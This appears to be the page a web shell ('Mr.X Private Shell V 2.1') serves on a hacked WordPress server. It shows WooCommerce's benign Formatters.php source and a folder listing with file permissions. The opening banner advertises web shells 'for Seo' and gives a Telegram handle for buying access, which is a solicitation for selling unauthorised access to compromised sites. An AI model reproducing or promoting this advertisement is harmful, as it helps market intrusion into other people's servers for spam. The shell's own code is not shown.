__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Automattic\WooCommerce\StoreApi;
use \Exception;
use Automattic\WooCommerce\StoreApi\Formatters\DefaultFormatter;
/**
* Formatters class.
*
* Allows formatter classes to be registered. Formatters are exposed to extensions via the ExtendSchema class.
*/
class Formatters {
/**
* Holds an array of formatter class instances.
*
* @var array
*/
private $formatters = [];
/**
* Get a new instance of a formatter class.
*
* @throws Exception An Exception is thrown if a non-existing formatter is used and the user is admin.
*
* @param string $name Name of the formatter.
* @return FormatterInterface Formatter class instance.
*/
public function __get( $name ) {
if ( ! isset( $this->formatters[ $name ] ) ) {
if ( defined( 'WP_DEBUG' ) && WP_DEBUG && current_user_can( 'manage_woocommerce' ) ) {
throw new Exception( $name . ' formatter does not exist' );
}
return new DefaultFormatter();
}
return $this->formatters[ $name ];
}
/**
* Register a formatter class for usage.
*
* @param string $name Name of the formatter.
* @param string $class A formatter class name.
*/
public function register( $name, $class ) {
$this->formatters[ $name ] = new $class();
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Exceptions | Folder | 0775 |
|
|
| Formatters | Folder | 0775 |
|
|
| Payments | Folder | 0775 |
|
|
| Routes | Folder | 0775 |
|
|
| Schemas | Folder | 0775 |
|
|
| Utilities | Folder | 0775 |
|
|
| Authentication.php | File | 12.63 KB | 0664 |
|
| Formatters.php | File | 1.21 KB | 0664 |
|
| Legacy.php | File | 3.09 KB | 0664 |
|
| RoutesController.php | File | 6.77 KB | 0664 |
|
| SchemaController.php | File | 3.34 KB | 0664 |
|
| SessionHandler.php | File | 2.71 KB | 0664 |
|
| StoreApi.php | File | 3.25 KB | 0664 |
|
| deprecated.php | File | 7.97 KB | 0664 |
|
| functions.php | File | 2.7 KB | 0664 |
|